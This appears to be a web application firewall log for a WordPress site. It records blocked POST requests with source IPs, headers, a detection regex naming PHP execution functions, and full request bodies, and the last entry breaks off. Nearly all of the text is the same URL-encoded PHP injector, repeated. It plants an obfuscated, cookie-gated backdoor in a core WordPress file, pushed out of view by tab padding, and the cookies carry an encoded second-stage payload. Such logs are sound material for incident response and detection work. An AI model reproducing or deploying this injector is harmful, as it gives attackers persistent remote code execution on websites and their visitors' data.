["2026-05-12 19:50:11","152.53.138.6","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WE:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4290\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-user:?1\n\nWE=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:50:29","118.139.167.171","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Hr:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4290\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFUVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOip3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"macOS\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-fetch-user:?1\n\nHr=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:50:32","87.106.235.29","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-fetch-dest:document\ncontent-length:4290\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM3tvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\naccept-encoding:gzip,deflate\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-fetch-user:?1\n\ngx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/colors.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B74-74%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B28%252B-27%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B82-79%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-33%252B37%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520unit_converter%2528%2524entity%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524item%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527263489ac%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524item%2529%2529%2520%257B%2520%2524item%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522dependency_resolver%2522%253B%2520%257D%2520%2524elem%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%255Cx20%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524item%2529%2529%2520%257B%2520%2524tkn%2520%253D%2520fopen%2528%2524item%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524tkn%252C%2520%2524elem%2529%253B%2520fclose%2528%2524tkn%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524item%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524item%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522unit_converter%2522%2529%253B%2520%2524record%2520%253D%2520%25226ecf0a015cd4814f1f3d993d872a8f25%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522data_storage_framework%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 19:50:38","148.113.9.51","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 